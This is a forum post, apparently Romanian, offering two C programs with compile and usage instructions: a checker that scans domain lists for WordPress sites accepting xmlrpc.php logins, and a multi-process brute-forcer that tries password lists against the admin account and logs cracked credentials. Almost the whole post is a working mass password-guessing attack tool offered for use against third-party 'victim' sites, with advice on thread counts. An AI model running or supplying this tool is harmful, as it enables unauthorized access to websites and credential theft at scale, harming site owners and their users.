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Am tot vazut brute-uri pentru Wordpress, dar majoritatea pe wp-login.php, asa ca am decis sa fac unul pentru xmlrpc.php. ===== brute.c ===== #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <errno.h> #include <fcntl.h> #include <netdb.h> #include <arpa/inet.h> #include <sys/wait.h> #include <unistd.h> #define RED "\E[32;31m" #define GREEN "\E[32;40m" #define NORMAL "\E[m" void usage(char *s); int getvuln(char *victim, char *user, char *pass, FILE *outfile, char *link); FILE *ipfile, *userfile, *passfile, *outfile, *badfile; int numforks = 0; void usage(char *s) { printf(RED"ELITE WP BruteF0rce"); printf(GREEN"\n"GREEN); printf("Smoke w33d everyday;)\n"NORMAL); printf("Usage: %s <ips file> <userfile> <passfile> <threads>\n", s); exit(EXIT_SUCCESS); } int getvuln(char *victim, char *user, char *pass, FILE *outfile, char *link) { int sockfd, n, rc, valopt; struct sockaddr_in serv_addr; struct hostent *server; struct timeval timeout, tread; size_t ulen, plen; long arg; fd_set myset; socklen_t lon; struct hostent *hl = gethostbyname(victim); if(!hl) exit(0); long ipadd; memset(&ipadd, 0, sizeof(ipadd)); memcpy(&ipadd, hl->h_addr, hl->h_length); timeout.tv_sec = 4; timeout.tv_usec = 0; tread.tv_sec = 10; tread.tv_usec = 0; char buffer[2048], postvar[1024], clen[256]; sockfd = socket(AF_INET, SOCK_STREAM, 0); arg = fcntl(sockfd, F_GETFL, NULL); arg |= O_NONBLOCK; fcntl(sockfd, F_SETFL, arg); if (sockfd < 0) { perror("ERROR opening socket"); exit(1); } if (setsockopt (sockfd, SOL_SOCKET, SO_RCVTIMEO, (char *)&tread, sizeof(tread)) < 0) error("setsockopt failed\n"); if (setsockopt (sockfd, SOL_SOCKET, SO_SNDTIMEO, (char *)&tread, sizeof(tread)) < 0) error("setsockopt failed\n"); bzero(&serv_addr,sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr=ipadd; serv_addr.sin_port=htons(80); if (connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)) < 0) { if (errno == EINPROGRESS) { FD_ZERO(&myset); FD_SET(sockfd, &myset); if (select(sockfd+1, NULL, &myset, NULL, &timeout) > 0) { lon = sizeof(int); getsockopt(sockfd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); if (valopt) { exit(0); } } else { exit(0); } } else { exit(0); } } arg = fcntl(sockfd, F_GETFL, NULL); arg &= (~O_NONBLOCK); fcntl(sockfd, F_SETFL, arg); strcpy(postvar, "<?xml version=\"1.0\"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>"); strcat(postvar, "<string>admin</string></value></param><param><value><string>"); strcat(postvar, pass); strcat(postvar, "</string></value></param></params></methodCall>"); sprintf(clen, "%d", strlen(postvar)); bzero(buffer, 2048); strcpy(buffer, "POST "); strcat(buffer, link); strcat(buffer, " HTTP/1.1\r\n"); strcat(buffer, "Host: "); strcat(buffer, victim); strcat(buffer, "\r\nConnection: keep-alive\r\n"); strcat(buffer, "Content-Length: "); strcat(buffer, clen); strcat(buffer, "\r\nCache-Control: max-age=0\r\n"); strcat(buffer, "User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8\r\n"); strcat(buffer, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"); strcat(buffer, "Content-Type: application/x-www-form-urlencoded\r\n"); strcat(buffer, "Accept-Language: en-US,en;q=0.8\r\n"); strcat(buffer, "Cookie: wordpress_test_cookie=WP+Cookie+check"); strcat(buffer, "\r\n\r\n"); strcat(buffer, postvar); strcat(buffer, "\r\n\r\n"); n = write(sockfd,buffer,strlen(buffer)); if (n < 0) { exit(1); } bzero(buffer,2048); n = read(sockfd,buffer,2047); if (n < 0) { exit(1); } if(strstr(buffer, "isAdmin")) { printf("[+]Found: %s%s - %s %s\n", victim, link, user, pass); outfile = fopen("wp.log", "a+"); fprintf(outfile, "%s%s - %s %s\n", victim, link, user, pass); fclose(outfile); } close(sockfd); return 0; } int main(int argc, char *argv[]) { char *ip, user[1024], invtmp[1024], pass[1024], *link, tok[1024], processed[512000]; processed[0]=0; time_t start; if (argc < 5) usage(argv[0]); printf("[*] List: %s Threads: %s FILE: %s\n", argv[1], argv[2], argv[3]); start = time(0); if(!(ipfile = fopen(argv[1], "r"))) { printf("INVALID DOMAINS FILE: %s\n", argv[1]); exit(0); } fclose(ipfile); if(!(userfile = fopen(argv[2], "r"))) { printf("INVALID USERS FILE: %s\n", argv[2]); exit(0); } fclose(userfile); if(!(passfile = fopen(argv[3], "r"))) { printf("INVALID PASSWORDS FILE: %s\n", argv[3]); exit(0); } fclose(passfile); if(!(badfile = fopen("error.tmp", "r"))) badfile = fopen("error.tmp", "a+"); fclose(badfile); if(!(badfile = fopen("wp.log", "r"))) badfile = fopen("wp.log", "a+"); fclose(badfile); userfile = fopen(argv[2], "r"); while(1) { if(!fgets((char *)&user, sizeof(user), userfile)) break; if (user[strlen (user) - 1] == '\n') user[strlen (user) - 1] = '\0'; if (user) { passfile = fopen(argv[3], "r"); while (1) { if(!fgets((char *)&pass, sizeof(pass), passfile)) break; if (pass[strlen (pass) - 1] == '\n') pass[strlen (pass) - 1] = '\0'; if (pass) { badfile = fopen("wp.log", "r"); strcpy(processed, ""); while (1) { if(!fgets((char *)&invtmp, sizeof(invtmp), badfile)) break; strcat(processed, invtmp); } fclose(badfile); ipfile = fopen(argv[1], "r"); while (1) { if(!fgets((char *)&tok, sizeof(tok), ipfile)) break; if (tok[strlen (tok) - 1] == '\n') tok[strlen (tok) - 1] = '\0'; if (tok) { char ip2[256], pass2[256]; ip = strtok(tok, " "); link = strtok(NULL, " "); strcpy(ip2, ip); strcpy(pass2, pass); if(strstr(pass2, "DOMAIN%")) { if(ip2[strlen(ip2)-5] == '.') ip2[strlen(ip2)-5] = '\0'; if(ip2[strlen(ip2)-4] == '.') ip2[strlen(ip2)-4] = '\0'; if(ip2[strlen(ip2)-3] == '.') ip2[strlen(ip2)-3] = '\0'; if(strstr(ip2, "www.")) { char tmp[128],tmpass[128]; int ivar,jvar=0; for(ivar=4;ivar<strlen(ip2);ivar++) { tmp[jvar] = ip2[ivar]; tmp[jvar+1] = '\0'; jvar++; } strcpy(tmpass, tmp); strcpy(tmp, ""); jvar=0; for(ivar=7;ivar<strlen(pass2);ivar++) { tmp[jvar] = pass2[ivar]; tmp[jvar+1] = '\0'; jvar++; } strcat(tmpass, tmp); strcpy(pass2, tmpass); } else { char tmp[128],tmpass[128]; int ivar,jvar=0; for(ivar=0;ivar<strlen(ip2);ivar++) { tmp[jvar] = ip2[ivar]; tmp[jvar+1] = '\0'; jvar++; } strcpy(tmpass, tmp); strcpy(tmp, ""); jvar=0; for(ivar=7;ivar<strlen(pass2);ivar++) { tmp[jvar] = pass2[ivar]; tmp[jvar+1] = '\0'; jvar++; } strcat(tmpass, tmp); strcpy(pass2, tmpass); } } if(!strstr(processed, ip)) { if(!(fork())) { getvuln(ip,user,pass2,outfile,link); exit(0); } else { numforks++; if (numforks > atoi(argv[4])) for (numforks; numforks > atoi(argv[4]); numforks--) wait(NULL); } } } } fclose(ipfile); } } fclose(passfile); } } fclose(userfile); printf("[*] Completed in: %lu secs\n", (time(0) - start)); exit(EXIT_SUCCESS); } ===== checker.c ===== #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/in.h> #include <stdio.h> #include <errno.h> #include <fcntl.h> #include <netdb.h> #include <arpa/inet.h> #include <sys/mman.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define RED "\E[32;31m" #define GREEN "\E[32;40m" #define NORMAL "\E[m" void usage(char *s); int getvuln(char *victim, char *link, FILE *outfile); FILE *ipfile, *userfile, *passfile, *outfile, *badfile; int numforks = 0; void usage(char *s) { printf(RED"ELITE SMTP BruteF0rce"); printf(GREEN"\n"GREEN); printf("Smoke w33d everyday;)\n"NORMAL); printf("Usage: %s <IPs file> <threads>\n", s); exit(EXIT_SUCCESS); } int getvuln(char *victim, char *link, FILE *outfile) { int sockfd, n, rc, valopt; struct sockaddr_in serv_addr; struct hostent *server; struct timeval timeout, tread; size_t ulen, plen; long arg; fd_set myset; socklen_t lon; struct hostent *hl = gethostbyname(victim); if(!hl) exit(0); long ipadd; memset(&ipadd, 0, sizeof(ipadd)); memcpy(&ipadd, hl->h_addr, hl->h_length); timeout.tv_sec = 4; timeout.tv_usec = 0; tread.tv_sec = 10; tread.tv_usec = 0; char buffer[2048], postvar[2048], clen[256]; sockfd = socket(AF_INET, SOCK_STREAM, 0); arg = fcntl(sockfd, F_GETFL, NULL); arg |= O_NONBLOCK; fcntl(sockfd, F_SETFL, arg); if (sockfd < 0) { perror("ERROR opening socket"); exit(1); } if (setsockopt (sockfd, SOL_SOCKET, SO_RCVTIMEO, (char *)&tread, sizeof(tread)) < 0) error("setsockopt failed\n"); if (setsockopt (sockfd, SOL_SOCKET, SO_SNDTIMEO, (char *)&tread, sizeof(tread)) < 0) error("setsockopt failed\n"); bzero(&serv_addr,sizeof(serv_addr)); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr=ipadd; serv_addr.sin_port=htons(80); if (connect(sockfd,(struct sockaddr *)&serv_addr,sizeof(serv_addr)) < 0) { if (errno == EINPROGRESS) { FD_ZERO(&myset); FD_SET(sockfd, &myset); if (select(sockfd+1, NULL, &myset, NULL, &timeout) > 0) { lon = sizeof(int); getsockopt(sockfd, SOL_SOCKET, SO_ERROR, (void*)(&valopt), &lon); if (valopt) { exit(0); } } else { exit(0); } } else { exit(0); } } arg = fcntl(sockfd, F_GETFL, NULL); arg &= (~O_NONBLOCK); fcntl(sockfd, F_SETFL, arg); strcpy(postvar, "<?xml version=\"1.0\"?><methodCall><methodName>wp.getUsersBlogs</methodName><params><param><value>"); strcat(postvar, "<string>admin</string></value></param><param><value><string>narecumsafie55"); strcat(postvar, "</string></value></param></params></methodCall>"); sprintf(clen, "%d", strlen(postvar)); bzero(buffer, 2048); strcpy(buffer, "POST "); strcat(buffer, link); strcat(buffer, " HTTP/1.1\r\n"); strcat(buffer, "Host: "); strcat(buffer, victim); strcat(buffer, "\r\nConnection: keep-alive\r\n"); strcat(buffer, "Content-Length: "); strcat(buffer, clen); strcat(buffer, "\r\nCache-Control: max-age=0\r\n"); strcat(buffer, "User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; fr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8\r\n"); strcat(buffer, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"); strcat(buffer, "Content-Type: application/x-www-form-urlencoded\r\n"); strcat(buffer, "Accept-Language: en-US,en;q=0.8\r\n"); strcat(buffer, "Cookie: wordpress_test_cookie=WP+Cookie+check"); strcat(buffer, "\r\n\r\n"); strcat(buffer, postvar); strcat(buffer, "\r\n\r\n"); n = write(sockfd,buffer,strlen(buffer)); if (n < 0) { exit(1); } bzero(buffer,2048); n = read(sockfd, buffer, 2047); if (n < 0) { exit(1); } if(strstr(buffer, "<int>403</int>")) { printf("[+]Found: %s - %s\n", victim, link); fprintf(outfile, "%s %s\n", victim, link); } close(sockfd); return 0; } int main(int argc, char *argv[]) { char ip[1024]; time_t start; if (argc < 2) usage(argv[0]); outfile = fopen("out.log", "a+"); printf("[*] List: %s Threads: %s FILE: out.log\n", argv[1], argv[2]); start = time(0); if(!(ipfile = fopen(argv[1], "r"))) { printf("INVALID DOMAINS FILE: %s\n", argv[1]); exit(0); } while(1) { if(!fgets((char *)&ip, sizeof(ip), ipfile)) break; if (ip[strlen(ip)-1] == '\n') ip[strlen(ip)-1] = '\0'; if (ip) { if(!(fork())) { getvuln(ip,"/xmlrpc.php",outfile); exit(0); } else { numforks++; if (numforks > atoi(argv[2])) for (numforks; numforks > atoi(argv[2]); numforks--) wait(NULL); } if(!(fork())) { getvuln(ip,"/blog/xmlrpc.php",outfile); exit(0); } else { numforks++; if (numforks > atoi(argv[2])) for (numforks; numforks > atoi(argv[2]); numforks--) wait(NULL); } } } fclose(ipfile); printf("[*] Completed in: %lu secs\n", (time(0) - start)); exit(EXIT_SUCCESS); } Pentru compilare: gcc -o checker checker.c gcc -o brute brute.c Folositi checker pe o lista de domenii sau IPuri pentru a vedea care din acestea accepta autentificarea prin xmlrpc.php. Acesta va crea un fisier out.log. Usage: ./checker <IPs file> <threads> Pentru a incepe brute faceti o lista de useri, una de parole si porniti: ./brute out.log users.txt passwords.txt <threads> Threaduri am incercat pana la 1000 si merge ok, dar pentru siguranta folositi 300-400. Astept sugestii